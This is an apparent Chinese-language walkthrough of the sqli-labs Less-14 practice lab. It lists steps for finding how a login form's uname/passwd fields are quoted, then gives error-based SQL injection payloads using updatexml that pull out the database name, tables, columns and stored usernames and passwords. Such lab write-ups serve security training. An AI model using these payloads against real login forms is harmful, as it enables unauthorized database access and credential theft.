sqli-labs靶场Less-14

1、访问首页,/Less-14/index.php,这里的传参点是表单中的uname、passwd

 探测六步

  1. 判断是否是数字形传参
  2. 判断是否有单引号闭合
  3. 判断是否是双引号闭合
  4. 判断是否单引号+括号闭合
  5. 判断是否是双引号+括号闭合
  6. 判断是否是延时盲注

sqli-labs靶场Less-14

 2、使用报错注入获取库名

" and updatexml(1,concat(0x7e,(select database())),1) -- qwe

sqli-labs靶场Less-14

 3、获取表名

 " and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)-- qwe

sqli-labs靶场Less-14

4、获取字段名

admin" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),1) -- qwe

sqli-labs靶场Less-14

 5、获取数据

" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 2,1)),1)-- qwe

sqli-labs靶场Less-14

 

上一篇:Sqlilabs超详细通过教程(持续更新)


下一篇:安卓逆向之azeria-labs组织 --- 从一张图说起